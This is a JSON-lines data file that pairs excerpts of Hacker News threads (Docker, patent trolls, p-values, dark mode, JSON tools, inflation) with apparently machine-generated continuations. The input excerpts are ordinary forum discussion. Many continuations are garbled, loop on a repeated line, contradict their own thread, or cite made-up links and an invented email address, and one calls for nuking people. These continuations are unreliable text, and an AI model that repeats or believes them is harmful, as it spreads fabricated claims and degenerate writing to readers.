player back!\n\n------\nAndrew_nenakhov\nI won't stop telling this: mobile platforms need not only third party app\nstores, but third party push notifications services too. Both iOS and Android\nlove to kill apps in the background. This behavior, sans push notifications,\ncripples a lot of types of applications (chiefly, all messengers).\n\nIf there ever would be some legal pressure on Apple& Google to open up their\nplatforms, it is important to make this point known to legislators.\n\n~~~\nuser5994461\nApplications have to be paused to save battery, or killed to save memory. You\ncan lookup the Android doc since the first version 10+ years ago, it explains\nvery well the lifecycle of apps. Mobile devices would be unusable if it were\nnot for that.\n\n~~~\nAndrew_nenakhov\nThis obvious thing you say doesn't change the fact that there is no a way to\nwake an app from sleep without FCM push notifications or running a background\nservice with persistent notification (which users hate), which has a lot of\nrestrictions that get tighter with every new version of"} +{"output_text": " 10MB in\nsize.\"\n\nThe photo is a screenshot of my desktop, taken a few seconds ago. It is not\nresized, cropped, or otherwise modified in any way.\n\n~~~\njewel\nSame for me. I'm guessing the problem is that the photo was taken in the\nmorning, and the subject is a person of European descent.\n\n------\njewel\nI'm getting a different result. I'm getting that the photo is", "input_text": " her age by a decade.\n\n------\nsuchow\nIf you're interested in the human side of age perception, we're running a\nstudy at [http://testmybrain.org](http://testmybrain.org) (\"Understanding\nother people\") where you judge people's age based on a photograph. We're\nlooking at individual differences in face perception \u2014 how your age, race, and\nexperience affect your judgment of others.\n\n------\ndatalus\nThe quality of the prediction also matters on the quality of the photo. I\ntried the photos that I do have of myself online, which each have a distinct\nlighting profile. One is a soft, orange glow in a restaurant... the guess was\noff by +11 years. The next photo has a portion of the left side of my face\nobscured by shadow. This was off by something like +31 years.\n\n------\nMarcus316\nTried this picture: [https://scontent.xx.fbcdn.net/hphotos-\nxpf1/v/t1.0-9/11040377...](https://scontent.xx.fbcdn.net/hphotos-\nxpf1/v/t1.0-9/11040377_10100621243021700_1069248627051998394_n.jpg?oh=e0fd957e41abfe1d3fcd4d950811a678&oe=55C8BA49)\n\nTold me age 25. I'm flattered. ;)\n\n------\nggchappell\nI don't get it. When I click on \"Use This Photo\", it always says, \"Couldn\u2019t\ndetect any faces. Please verify that the image is valid and less than"} +{"output_text": " is his\nfavorite way to keep gold.\n\n------\njoe_the_user\nThe author seems to be arguing that the value of a currency is not determined\nby the value of the goods and services it can be used to buy. That's certainly\npart of it, but I'm not convinced that's the whole story.\n\nSuppose the US dollar were to become worthless. That would be a huge loss for\nthe US, but it would be a relatively minor", "input_text": " inflates less\nquickly?\n\n~~~\nBenoitEssiambre\nI think market forces will make it so that the one that inflates less quickly\nwill be more volatile and the higher risk premium of holding it will make it\noften less attractive than the one that inflates more quickly but often it\nalso will be the opposite.\n\nLike most investments there will be a trade-off of risks vs returns but both\ncurrencies will in the long run, be poor investments compared to income\ngenerating assets tied to real production.\n\n~~~\nramontayag\nThis is certainly interesting. Could the same principle be applied to gold\nwhich has been fairly stable?\n\nI don't think gold is the right medium for the singularity because it is not\neasy to obtain and subdivide. It needs to be in the the vicinity of choosing\nthe inflated coin on one hand, and the more valuable coin on the right.\n\nPerhaps it's this trait that will keep Bitcoin volatile? Because it's easy to\ngo in and out of it, volatility will remain high?\n\n~~~\nBenoitEssiambre\nYes it's similar to gold. Gold has some intrinsic value which anchors its\nprice and reduces volatility and as you mentioned it is not as easy to trade\nwhich reduces speculation. But even gold is still a fairly volatile\ninvestment.\n\n~~~\nramontayag\nYes, it may feel volatile, but how volatile is it compared to other\ncurrencies? For example, my country's currency fell 10% in the last three\nmonths.\n\nIntrinsic value discussion aside (which is its own discussion worth having), I\nwould certainly like to keep more of my money in gold vs my local currency if\ngold were easy to get and keep. Peter Schiff says goldmoney.com"} +{"output_text": "re\n> some of our newer services need a up to date version of glibc and a lot of\n> other dependencies CentOS can't provide\n\nWhat services are these? I'm curious because I've never heard of a case where\na service needs a newer glibc than it ships with.\n\n~~~\nfu86\nWe have a lot of services that are not distributed with a newer glibc because\nthey are not used that much. So we have to", "input_text": " the\ntimestamps on the files. You and I have little hope of building the same image\nand getting the same exact result.\n\nBuild reproducibility is a very interesting topic with some unsolved issues,\nbut Docker isn't helping with it. See\n[https://reproducible.debian.net](https://reproducible.debian.net) for a good\nresource about build reproducibility.\n\n~~~\nvezzy-fnord\nDon't know why you were downvoted. Docker doesn't give you reproducible builds\nbecause you're still running in a raw host OS environment with all its state,\nbut simply the subsystems partitioned into their own namespaces. Docker is\nmore akin to a snapshot than reproducible.\n\n------\nrlpb\nDocker, or containers in general? I'd really like to hear about Docker\nspecifically, but most of the answers so far seem to relate to containers in\ngeneral, rather than Docker specifically.\n\nWhat are the business cases for using Docker over some other container-based\nsolution?\n\n------\nfu86\nWe have a shitload of servers running CentOS for historical reasons. We can't\nchange the distribution because all the services running on this servers are\ntight to the quirks and special cases of this distribution. So we need to live\nwith CentOS.\n\nSome of our newer services need a up to date version of glibc and a lot of\nother dependencies CentOS can't provide. So we use docker to boot up Ubuntu\n14.04 containers and run the services with special needs in them.\n\nAnother great thing is isolating scripts we don't trust. We allow our\ncustomers to run scripts of all kind on our servers --> inside Docker\ncontainers. So the customers can't mess with the hostsystem.\n\n~~~\nliv"} +{"output_text": " if you bring a claim for patent infringement, you can get an order that\nforwards the money to pay for the cost of defending against the claim.\n\niv) if you bring a claim for patent infringement, and you can't afford to pay\nfor the cost of defending against the claim, you can ask the court to order\nthat the money be paid to the court.\n\nThat last one is a bit tricky, because it's not clear that you can bring a\nclaim", "input_text": "\ncoryrc\nShouldn't matter if it punches through so long as it maintains contact, as it\nshould have significantly lower resistance than your body?\n\n \nPatent Troll Lodsys Settles for Nothing to Avoid Trial - alxndr\nhttps://www.eff.org/deeplinks/2013/10/patent-troll-lodsys-settles-nothing-avoid-trial\n======\nlinuxhansl\nIsn't it nice to be patent troll in the US.\n\nYou can threaten 1000's of entities with legal action to extort money, since\njust defending against the allegation is very expensive. Then when a few of\nthose threats don't stick, all you have to do is \"settle for nothing\" to avoid\nan actual trial. Nice.\n\nThe patent trolls are just a symptom, the legal system is the problem.\n\nYou leave a legal loophole and you'll find some parasitic scum that will\nexploit it. Personally I find it hard to believe that the people running these\ncompanies can sleep at night... But that is a different story.\n\n~~~\nGarbage\nIt's one of those rare times, when I feel great that I am living in India. ;)\n\n~~~\npm90\nInstead of Patent Trolls, you have an apathetic business environment,\ncrumbling infrastructure and no copyright protection at all. You just traded\none set of problems for another one\n\n------\nDanBC\nEngland has some useful things that the US should consider.\n\ni) loser pays costs.\n\nii) if Ann is offered \u00a3X out of court, but declines it, and the case goes to\ncourt and she's awarded \u00a3Y then she has to pay costs if \u00a3Y is less than \u00a3X.\n\niii)"} +{"output_text": "com/game/rct2](https://www.gog.com/game/rct2)\n\n------\njokoon\nI remember that the graphics were very nice, and the controls were simple. I\nthink that the controls were simple because the game was made for a young\naudience, and not for people who wanted to play a realistic simulation.\n\nI think that the graphics and controls are much better in the old version.\n\n------\nj", "input_text": "AM a few years back. I don't know how they\nwrote the netcode, but the game ended up terribly out of sync pretty fast.\n\nIt's a shame the remake has decided to go 3d and lose the original art style.\nThe original really has timeless graphics.\n\n------\nkartD\nNice, does this get rid of the shitty AI for the janitor? I can't tell you how\nannoying it is to watch them do everything except clean the damn puke and\ntrash of the path.\n\n~~~\njandrese\nYou can turn off mowing the lawn which will keep them on barf duty unless you\nhave a giant flower garden in their work zone. It's pretty much necessary if\nyou have a coaster with a moderate or higher puke value in the park.\n\nAlso don't forget that you can put bathrooms near the exit of an upchuck\ninducing ride to keep the paths a little cleaner.\n\n------\nsitepodmatt\nchris sawyer a hero on carmack's level. (sawyer is behind transport tycoon and\nrollercoaster tycoon)\n\n------\ncr0sh\nWhat I'd like to see is an open-source version of Disney's Coaster\ngame/simulation.\n\nOr for that matter, any kind of roller coaster simulator. There's an excellent\nWindows roller coaster simulator out there (\"No Limits\"), but nothing like it\nexists on other platforms.\n\n------\nAvshalom\nWell time to go dig out my CD case.\n\n~~~\ntylerjd\nIf you can't find it or it is too scratched, they also sell the full edition\nof RCT2 on GoG for cheap\n[https://www.gog."} +{"output_text": "\nanyone does this, but I always mute sound when I'm coding.\n\n~~~\njames_s_tayler\nI agree that it's a bad design choice to use sound for click events on the\ntheme toggle button.\n\n------\nmrmrcoleman\nI'm a big fan of Gatsby and I think it's a great example of a simple, clean\ndesign that's also flexible enough to adapt to different use cases.\n\nI", "input_text": " At that point, there's no\nproblem with Gatsby or Next.\n\n~~~\nbarrowclift\nNot necessarily true, I'd argue the \"perfect\" dark mode uses the system's\ntheme by default like you said, but still allows visitors to manually set\nlight or dark should they wish to view the site a particular way (perhaps they\nprefer the light mode, etc.)\n\n~~~\nasiachick\nAgreed. S.O. recently added dark mode and for some reason my eyes couldn't\nfocus on it. No idea why. I run my editors and my terminal in dark themes.\nMaybe they didn't have enough contrast. Maybe the fonts are too small or too\nthin. I have my browser set to \"prefer dark mode\" but I'm really happy S.O.\nlet me opt out.\n\n------\nwelcometomiami\nDid anyone else happen to read this and think of\n[https://en.wikipedia.org/wiki/Perfect_Dark](https://en.wikipedia.org/wiki/Perfect_Dark)?\n\n~~~\nsneilan1\nYes, I played that game thoroughly and I could not separate the project from\nthe game.\n\n------\nmemco\nThe theme toggle button plays a sound when you click it. So not only does this\nrequire state for the theme, but also the sound. Also curious is that clicking\nthe button to mute sound plays a sound.\n\nI believe every OS defaults to silent actions for every button. Games, on the\nother hand, often have sounds for hover/focus and click. I'm not sure what's\nthe better option, but if we're going to default to the OS for theme choice\nshouldn't we also default to the OS for UI sound choice? I don't know if"} +{"output_text": " that the safe harbor is a legal fiction. It's meant to\nmake it easier for service providers to offer services without fear of\nliability, but it's not meant to protect service providers from liability for\ncopyright infringement.\n\n------\njrochkind1\nI wonder if this is related to the new \"content ID\" system that google is\nputting into place for youtube videos.\n\n[http://tech.co/news/google-launches-content", "input_text": " know, via their 'Pin\nIt' code, exactly where the content is actually coming from.\n\n\u00a7 512(c) [DMCA Safe Harbor] also requires that the OSP: 1) not receive a\nfinancial benefit directly attributable to the infringing activity, 2) not be\naware of the presence of infringing material or know any facts or\ncircumstances that would make infringing material apparent,\n\nI wonder if 'the original source URL' of a image may be construed as a fact\nthat would make infringing material apparent. IANAL.\n\n~~~\nicebraining\n_In this case, Pinterest even acknowledges that the images are not the\nproperty of the user, \"When you pin from a website, we automatically grab the\nsource link so we can credit the original creator.\"_\n\nAnd that's fine - their ToS says you need to be either the copyright holder\n_or_ have consent from the copyright holder. For example, if I \"pin\" a CC\nlicensed image, I have such consent.\n\n~~~\nwaitwhat\n_their ToS says you need to be either the copyright holder or have consent\nfrom the copyright holder._\n\nI've seen warez sites with exactly the same disclaimer. It didn't work for\nthem either.\n\n~~~\nicebraining\nBut Youtube, Flickr, DeviantArt and thousands of other user submitted content\nsites are still online.\n\n~~~\nantiterra\nAs far as I know there is no industry group for still-image photographers\nanything like the MPAA or RIAA. All three of those sites are and were filled\nwith substantial original content, so they can claim that illegal use is not\ntheir primary drive. I don't know if Pinterest can successfully argue the same\nthing.\n\nIt also should be noted"} +{"output_text": " you willing to spend to save the life of a child in a\nthird world country? How much is that worth? How much is that worth to you?\n\nHow much is that worth to the US government?\n\n~~~\nbasicplus2\nI would say it's worth nothing.\n\n------\nm0zg\nSooner or later, we're going to have to nuke them all. Or, at least, nuke\nenough of them that the rest are put", "input_text": " bad happened. We\nneed to find out what it is and how to fix it as a society. The underlying\ntech and concepts will never go away again. It can be used for good. We\nrealized too late that we failed to use it properly.\n\n~~~\nNotAnEconomist\nMy point is the double-standard in the tech community making that argument on\nbehalf of one kind of technology, while ignoring that weapons extend from the\nvery basic human need for security and agency.\n\nIt's a standard human fallacy, which I've made numerous times: we look at the\nintentions of ourselves (the tech community) while looking at the results of\nothers (eg, the military). But the question we really need to be asking is if\nour impact on the world leads to better outcomes than theirs, regardless of\nwhat either group intended -- and I'm not sure it's so clear cut, once you\naccount for second order effects of social media.\n\nAnd it's certainly not as simple a moral calculus as \"Well, they work on\nweapons so they're worse people than me!\"\n\n------\nbasicplus2\nSeems odd to me to waste so much time and money and risk to lives when one can\nsimply drive a mine flail through any given area to clear it of mines.\n\n[https://en.m.wikipedia.org/wiki/Mine_flail](https://en.m.wikipedia.org/wiki/Mine_flail)\n\n~~~\nInclinedPlane\nHow expensive do you think it is to operate a mine flail? Especially factoring\nin transport to remote areas?\n\n~~~\nbasicplus2\nwhat price do you put on a life?\n\n~~~\nInclinedPlane\nHow much money are"} +{"output_text": " up in\nregards to logistic regression, is a way to see which features contribute the\nmost to a model's prediction.\n\nIt's not a great way to understand the underlying cause of a model's\nprediction, though.\n\n------\njordanwallwork\nI think this is a really interesting article, but I have a few issues with it\n- firstly, the author seems to be conflating error probability with p-values,\nwhich are not the same thing", "input_text": "ide-\nfertilization-greening-earth)\n\nThe greening is also observed in areas unaffected by man's agricultural\nactivities.\n\n \n\nP-Values are not Error Probabilities (2003) [pdf] - gwern\nhttp://www.uv.es/sestio/TechRep/tr14-03.pdf\n\n======\ncl42\nThanks for sharing this. In general, it's a real shame how few people know how\nto interpret and use P values correctly. We work with a lot of businesses who\nask us to compare populations (e.g., through A/B tests) and people either (a)\ndon't care about the significance between population differences, or (b) are\nirrationally attached to P values.\n\nCase in point #1: debating whether a P value of 0.051 versus 0.049 is a major\ndifference in the significance test.\n\nCase in point #2: a P value of <0.001 but with extremely low differences in\nmeans between populations. With enough data, everything is significant!\n\nEnd rant. :)\n\n~~~\nreturn0\nAmen for #2! It's like the entire field of biology is an endless quest for low\np-values, regardless if the hypothesis is even interesting. It's like people\nare not interested to think, they just want to publish something significantly\ndiffernt.\n\n~~~\ncl42\nhaha, Sociology as well -- especially now that the web provides huge amounts\nof behavioral data.\n\nI much prefer how machine learning folks tend to approach predictive accuracy,\nthough I guess that's not quite the same as understanding relationships\nbetween specific variables while controlling for others.\n\n~~~\nsdenton4\nThere is a notion of 'feature importance,' which especially comes"} +{"output_text": " can contact me.\n\n~~~\nnewobj\nI'm interested in this sort of project, but I'm not sure how to start. Can you\nemail me?\n\n~~~\nhnf0r3v3r\nSure: hnfr3v3r@gmail.com\n\n------\njleader\nI'm curious how the data model compares to something like Parse, which is\nfocused on mobile apps.\n\n~~~\nnewobj\nI've", "input_text": " infrastructure of the future is not RPC calls but\ndata-sync. (I guess MS Exchange is one of the first large examples of this).\n\n~~~\nDenisM\nRPC is an anti-pattern.\n\nI've been beating this drum for years, but it feels awfully lonely...\n\n\n\n\n\n~~~\ndyoder\nFWIW, we use HTTP as intended, not to tunnel RPCs.\n\n------\namirmc\n_\"And then, the realization: 'let\u2019s build the picks and shovels, instead of\npanning for gold.'\"_\n\nSomething about this line really irked me. Not really the kind of thing I'd\nwant to read as a potential customer.\n\n~~~\naugustl\nIt's exactly the thing I would want to read. I'm the expert in gold panning,\ndamnit, just give me the tools I need.\n\n~~~\nnewobj\nYou're an expert in gold panning yet you need tools?\n\n------\nequark\nThere is a real need for an open source clone of one of these realtime\ndatastores. I'd lean towards Firebase since it has the best API I've seen so\nfar.\n\nIf anybody wants an open source sprint, I'd be willing to donate to such a\nproject...\n\n------\nhnf0r3v3r\nI'm working on something similar that I want to open source. The idea is to be\nable to build apps quickly on the front end, and only have to mess with the\nback when necessary.\n\nAnyone interested in this sort of project"} +{"output_text": " fight them in court).\n\n~~~\nchimeracoder\n> It's generally not a problem until you start making enough money (or get a\n> lot of funding) to be worth suing in the first place, at which point you can\n> afford to pay them off (or fight them in court).\n\nThat's not necessarily the case. A patent troll could be a single founder who\nhas nothing but a patent, and is looking to extort money from small", "input_text": " sued you is a great one in this case. Might even consider filing\nseveral lawsuits and complaints to overwhelm a small scale troll.\n\nOr if you're the size of Cloudflare, bully them in other ways. In this example\nit's an operation setup by just two lawyers, easy to make them regret going\nafter you if you make their work impossible. You could for example hire away\ntheir legal staff, delay things for ages, screw with the personal life of the\ntwo founders. They can't keep a small business afloat for very long if you\ndedicate some resources to screwing with their operations.\n\nMight even just sue their clients for something else (one of your patents for\nexample). In this case the client is a small firm in Germany, they would be in\na very bad place if they got sued in the US home district of Cloudflare and\nhad to defend. High probability that they would put pressure on the lawyers to\ndrop the troll suit.\n\n~~~\nchalst\nCloudflare took them to court, where the judge invalidated the patent.\nBlackbird appealed and lost.\n\n[https://blog.cloudflare.com/winning-the-blackbird-\nbattle/](https://blog.cloudflare.com/winning-the-blackbird-battle/)\n\n------\njavajosh\nSo, if you're interested in starting a software business, it seems like the\nrisk of being sued by a troll is close to 100% - how do you budget for this?\nIs there something like insurance you can buy?\n\n~~~\nunishark\nIt's generally not a problem until you start making enough money (or get a lot\nof funding) to be worth suing in the first place, at which point you can\nafford to pay them off (or"} +{"output_text": " worked with a guy who was building a botnet from scratch. It was a\nreally interesting project.\n\n[https://www.eff.org/deeplinks/2009/06/sneakily-secret-\ncode-u...](https://www.eff.org/deeplinks/2009/06/sneakily-secret-code-\nunited-states-sending-malicious-code-world)\n\n------\njoebl", "input_text": "\ncoldcode\nI interviewed three times at a company once which didn't seem to have a clear\nbusiness model. Only in the last interview with the CEO did I realize he was\nrunning a ponzi scheme.\n\n------\nunivalent\nThis is like the Mickey Mouse version of the 'The Firm'.\n\n------\npnathan\nwhenever I am looking at a company, I google it, I scrape Glassdoor, I look\nfor news articles about it. \"How do you make money\" is usually on the menu of\n\"things I specifically care about\". I'd advise others do do the same. Learn\nwell what the company you're talking to does to earn a buck and who they are\nbeholden to.\n\nI avoid adtech, myself.\n\n------\nTheAdamist\nI've been to a Python Meetup there previously, nice office, nice tech talks.\nTheir sponsor overview certainly didn't disclose what they actually did.\n\nMakes me wonder about the other ad platforms in town.\n\n------\nvas123\nSometimes this adware crap hijacks legitimate open source projects as well and\ninstalls on unsuspecting users like this guy:\n\n[https://forum.videolan.org/viewtopic.php?t=78825](https://forum.videolan.org/viewtopic.php?t=78825)\n\n------\nzekevermillion\nThere are many businesses that are built around exploiting vulnerable\ncustomers or users, and it is common for such businesses to have contrived\ncomplicated ethical justifications for their conduct. I'm thinking in\nparticular of law and finance.\n\n------\njobigoud\nI also always wonder how the people working on engineering land mines do.\n\n~~~\nTheOtherHobbes\nI once"} +{"output_text": "%2Dapp%2Dhas%2Dbeen%2Dcaught%2Dfailing%2Dto%2Dprotect%2Dusers%2Dfrom%2Dstalking%2Dand%2Drape%2Don%2Dits%2Dfacebook%2Ddating%2Dapp)\n\n~~~\njoeblau\nI think this is a good example of why people don't trust tech companies.\nInstead of", "input_text": "timwaagh\nI'm personally thinking it's sad such resources and effort are expended over\nsomething as frivolous as a dating app. If there are significant\nirregularities it's better to just fine them a couple of billion later. Better\nfor the wallet, too.\n\n~~~\ncstross\nNot better for anyone who ends up being stalked and/or raped as a result of a\nbadly monitored/regulated dating app, though.\n\nThere's a public safety issue here: dating requires interpersonal negotiation\nfor personal intimacy with consent, which in turn implies that a dating app\nneeds to be \"safe space\". Facebook is notorious for leaking personal\ninformation to third parties (typically but not always advertisers). I have no\nknowledge of _specific_ risks associated with Facebook's dating app, but the\nprecautionary principle should apply in those cases where personal safety is\nat risk, and the sheer scale on which Facebook operates means that a dating\napp backed by the big F needs oversight.\n\nLuckily, GDPR FTW.\n\n------\necmascript\nIt feels wierd to read an american article that uses word like 'fuck you' and\n'fucked up'. I kind of like the brutal honesty of the word usage.\n\n------\nipsi\nSlight tangent, but it seems that TechCrunch are also quite bad at privacy -\nfollowing the link initially redirects to\n[https://guce.techcrunch.com/consent?brandType=nonEU&done=htt...](https://guce.techcrunch.com/consent?brandType=nonEU&done=https%3A%2F%2Ftechcrunch%2Ecom%2F2020%2F02%2F13%2Ffacebook%2Ddating"} +{"output_text": "This is not a criticism of you, or your upbringing, or your environment. It's\njust the way it is.\n\nThe good news is that you're normal. The bad news is that you're normal. And\nthat really strikes at the heart of the situation. A fish is worst at\nexplaining the concept \"wet\" because they're born and live in water. HN appears\nbad explaining lack of focus and self drive because most of us have been\nbr", "input_text": "------\nvasilipupkin\nMaybe, try adderall? You could just have ADHD.\n\n------\nhellbanner\nSerious question - how often do you exercise?\n\n------\nknown\nYou need Passion + Patience + Perfection\n\n------\nACow_Adonis\nI've been a bit disappointed in the responses to be honest. They're almost\nmemes in and of themselves: therapy, drugs, tricks, maybe you're born with it\n(most aren't).\n\nThe good news is that you're normal. The bad news is that you're normal. And\nthat really strikes at the heart of the situation. A fish is worst at\nexplaining the concept \"wet\" because they're born and live in water. HN\nappears bad explaining lack of focus and self drive because most of us have\nbeen brought up in a culture that is almost specifically dominated with\ninstilling such aspects in people. I don't know if it is by design, but it is\nincredibly effective as a social glue and at showing that culture.\n\nCultural reprogramming is, to put it mildly, difficult at best once you've\nspent 30 years in one, so I'm largely posting this on the chance that it\nintroduces a new perspective and raises curiosity, not because I think you\nshould necessarily do it, since most people are not interested in such\nextremes and quite rightly: try separating from your dominant and acculturated\nenvironment and you'll likely find a while host of other (arguably bigger)\nproblems.\n\nYou've been born into and live in a culture that, almost from birth, teaches\nyou to turn to quick wins, entertainment, external direction and external\nauthority. You have now subsequently internalised that culture.\n\n"} +{"output_text": " than by type.\n\n------\njancsika\n> _I 'm not a fan of the idea of a language standard._\n\nWhy not? I don't understand the sentiment.\n\n> _JSON is a human readable format._\n\nBut it's also a human readable format that's often used for machine to machine\ncommunication.\n\n> _I 'd like to see a better way to parse large JSON documents._\n\nWhat do you mean by \"", "input_text": "\n>parses large documents slowly, but steadily, in memory space proportional to\nthe key depth of the document\n\nIf parsing JSON with shell scripts and awk is your idea of the most ideal way\nto \"slowly, but steadily\" get the job done.\n\n[https://github.com/shellbound/jwalk/blob/master/lib/jwalk/co...](https://github.com/shellbound/jwalk/blob/master/lib/jwalk/commands/parse.awk#L137)\n\nI know that everything looks like a nail if your only tool is a hammer, and\nit's fun to nail together square wheels out of plywood, but there are actually\nother tools out there with built-in, compiled, optimized, documented, tested,\nwell maintained, fully compliant JSON parsers.\n\n------\ngibba999\nSeems like a waste to do CSV->TSV without going all the way:\n\n[http://www.tsvx.org/](http://www.tsvx.org/)\n\nThe problem with TSVs and CSVs is that you might get an odd datatype 1TB into\na file. For example, what you expect to be an integer value is somehow a\nstring.\n\nTSVx extends TSV to add standard formats for things like headers which allows\nfor strict typing. You can do things like export a database table and import\nlosslessly. You can even export from MySQL and import into PostgreSQL most of\nthe times without pain.\n\nThe strict typing also avoids a lot of potential security issues. And in an\nenvironment where you control both ends (so you don't need to worry about\nsecurity of where the file came from), it leads to much nicer APIs: you can\nrefer to things by names rather"} +{"output_text": " is pure WYSIWYM (as opposed to \u201cwhat you see is how you\n> pronounce\u201d) and synthetic to boot?\n\nI don't know of any invented language that was synthesized _from nothing_.\nThey usually start with a base language with which they build.\n\n~~~\nstrogonoff\n> They usually start with a base language with which they build.\n\nTrue, but I'm talking about starting with nothing and then synthesizing.\n\n~~~\n", "input_text": "3E3&sort=byDate&type=story)\n\n------\nstrogonoff\nInvented languages are overwhelmingly boring in their likeness to English,\nSpanish and other Western languages.\n\nWhat if we tried to create, say, a language with a logographic written system\nthat is pure WYSIWYM (as opposed to \u201cwhat you see is how you pronounce\u201d) _and_\nsynthetic to boot?\n\nMake it use vocal cords differently.\n\nInstead of borrowing around, use a random seed in generating a minimum set of\nunique basic \u201cnative\u201d words according to language rules and build on top of\nthat (borrowing for meanings outside of that set).\n\nThis could be so much more fun!\n\n~~~\njustinpombrio\n> Invented languages are overwhelmingly boring in their likeness to English,\n> Spanish and other Western languages.\n\nToki Pona is not like English, Spanish, or other Western languages.\n\nIt has no singular/plural distinction. It has no past/present/future tense.\nIts pronouns have no gender. All of its phonemes are present in almost all\nlanguages (this is on purpose). The way it forms questions is not like Enlgish\n(I don't know of any language that it's similar to). Its word order is\nsubject-verb-object, like most languages. [EDIT: not most, only 42%]\n\nThe only thing its taken from English, as far as I've seen, is a bunch of\nvocabulary. Though honestly its sounds are so limited that sometimes you can't\nrecognize which English word a Toki Pona word came from.\n\n> What if we tried to create, say, a language with a logographic written\n> system that"} +{"output_text": " is so different.\n\n------\npeterkelly\nI've been in this industry for 10 years now and I can assure you that the\n\"middlemen\" are not doing this out of the goodness of their hearts. They make\na lot of money off of this and they are very aware that they are facilitating\nthe theft.\n\nThe best way to protect yourself is to buy directly from the artist's\nwebsite/gallery. This way you are not only getting the work", "input_text": " that. If you take a job transporting art, it's your job to\nunderstand what you're transporting.\n\nAnd at no point are you supposed to open boxes like that, anyway, no matter\nwhat you're transporting - when I unloaded the truck at a department store,\nthey drilled into us that that's a very good way to slice through a rack of\nt-shirts or pants or whatnot.\n\n~~~\nrabboRubble\nIf the tape on the boxes was not meant to be cut open under any circumstance,\nand the tape was not a part of the art itself, doesn't the blame fall upon the\nperson who put the tape on in the first place?\n\n~~~\npavel_lishin\nYou can cut tape from a packed box without jamming the blade into the box and\nits contents.\n\n~~~\nrabboRubble\nI didn't read it that way. The issue was with the handling of the boxes and\nnot the contents. The box itself was the artwork _in addition_ to the\ncontents. Slicing the tape sliced the box and the box was insured for EUR25k.\n\n\"cuts through the tape that seals all the boxes. Each box a artwork, insured\nfor 25.000\u20ac - sliced.\"\n\n~~~\npavel_lishin\n> The box itself was the artwork in addition to the contents.\n\nThat's not how I read it (emphasis mine):\n\n> One of those haulers venturing into art, transported a artwork by a Chinese\n> artists (do not know the name), basically very long paperrolls with Chinese\n> letters on them _to be hung from a halls ceiling_\n\n~~~\nrabboRubble\nI love this! I initially assumed your understanding was what s/he meant too\nbut the wording"} +{"output_text": ". But if the software is also able to flag all the high\npriority packets, then the software is also able to prioritize the low\npriority packets.\n\n------\njrochkind1\nI think the author is making a mistake about how the internet works.\n\nThe internet is a series of routers, not a series of companies. The internet\nis a series of routers, not a series of customers.\n\nThe internet is a series of routers,", "input_text": ".\nThis makes a lot of sense, since the originating party is the one in a\nposition to decide whether to place the call and therefore should bear the\ncost.\n\nBy renaming the originating party to the \"sending\" party, they can redefine\nYouTube/NetFlix/whoever as the \"sending\" party even though the user is the\noriginating party. Thus they attempt to justify denying the user the service\n_which they already have paid for_ unless they receive the appropriate\nkickbacks^W \"fees\" from whoever is serving the data.\n\n------\nnitrogen\nWith regards to Quality of Service, what's wrong with letting the packet flags\ndecide QoS, with customers paying for a guaranteed percentage of high-QoS\nbandwidth during peak network load?\n\nIn other words, when the network is underutilized, all packets would be\ntransmitted with high priority and low latency, with QoS flags allowing\npackets to jump ahead in packet queues. When the network is heavily loaded,\nhigh-QoS packets beyond the customer's quota would be relegated to best\neffort.\n\n~~~\neridius\nIn this situation, what's stopping all traffic senders from marking their\npackets with the QoS flag? After all, they don't want their traffic getting\nstuck behind some other sender's traffic.\n\n~~~\nbelorn\nEach customer only has a limited amount of QoS high priority traffic. If\nsomeone flags every packet with high priority, all the QoS mean is that the\nfirst packages get improved priority and everything else get default low\npriority.\n\nThat mean a customers software can balance the use of QoS for time sensitive\ntraffic, and maybe even flag some data as below default to get bonus high\npriority traffic"} +{"output_text": "b) I had a friend who had a kit and was very helpful.\n\n------\njheriko\ni remember writing 6502 assembly on my mc-6008 back in the 80s... but i\nremember it being a lot of fun, not a lot of pain.\n\ni also remember the excitement of running my code on a real 6502 machine,\nrather than on the virtual 6502 emulator that was the standard 6502\ndevelopment environment at the time", "input_text": " team).\n\n------\ncimnine\nnice'syntax highlighting' ;)\n\n~~~\nsimmons\nI was thinking the same thing. I, too, wrote many sheets of hand-coded 6502\nassembly back then, but I didn't think to use a multi-colored pen.\n\n------\nsegmondy\nI wrote code like this in 1997. First year in college, micro processing\ncourse. So I wrote a simulator for the 6800 chip, and an assembler. So I\ndidn't have to wait every Saturday at 8:30am to run my code. The professor\nwasn't impressed at all when I showed him my program.\n\n------\nquattrofan\nThis made a big wave of nostalgia wash over me, I learnt to write 6510\nassembler on my C64.\n\n------\nbwang8\nArticles like these make me realized I am completely spoiled. I am in no\nposition to complain about debugging when modern technology afforded me a much\neasier time than 30-40 years ago.\n\n------\nericssmith\nI had a KIM-1 in the late seventies and for several years I would run into\nother people who used one, but 1985 seems really late for programming on one\nof these. For me, the KIM-1 was my first experience with programming and a\ncomputer of any sort. It influenced my taste for low-level concepts, not only\nthrough x86 assembly programming for graphics in the 90s but much later in the\nlambda calculus and combinatory logic. I'm tickled that the KIM-1 is seeing\nsuch a resurgence of interest.\n\n~~~\njgrahamc\nIt was late to be programming one but it was (a) what was available where I\nwas and ("} +{"output_text": " tomorrow is\nhard to understand.\n\n~~~\njzwinck\nThe idea that people won't spend money today because something may be cheaper\ntomorrow is the idea that caused the Great Depression.\n\n~~~\nsosuke\nI know that is a strong statement. But I think the idea that people would not\nspend money because something may be cheaper tomorrow is the idea that caused\nthe Great Depression.\n\n~~~\njzwinck\nIt is a strong", "input_text": " access to the proverbial printing press taking a hearty cut), and\nwe get to our current point where things that used to be owned are now just\nrented from banks.\n\nAsk yourself how many people have avoided owning a computer, knowing that\nprices are always dropping? How many people have gone hungry, figuring that\nfood will be cheaper next week?\n\n~~~\ngfodor\nI think the theory is not so much that people go hungry because food will be\ncheaper tomorrow, but that there is a perverse _incentive_ to spend a little\nless because you'll be able to get a little more with it later. I'm not sure I\nbuy this theory but I think it's more about the macro effects of a small tweak\nin incentives.\n\n~~~\nimaginenore\nThat theory is complete nonsense.\n\nIf you wait a little longer, you can buy a better tablet, a better computer, a\nbetter phone, a better TV with the same amount of money (inflation-corrected\nor not). That doesn't stop people from buying all kinds of electronic devices,\neven though they get obsolete much faster than their money.\n\n~~~\ngfodor\nThe point is not that it stops people from buying things, but that on a macro\nscale it will cause people to delay or dampen their consumption. Sites like\n[http://buyersguide.macrumors.com/](http://buyersguide.macrumors.com/) show\nthis phenomenon exists, the question is how much of an effect it has when it's\na few % yearly discount spread out over _every_ good and service.\n\n------\nsosuke\nSuch a hard thing to reason out in my non-economist brain. The idea that\npeople won't spend money today because something may be cheaper"} +{"output_text": " he may have done so 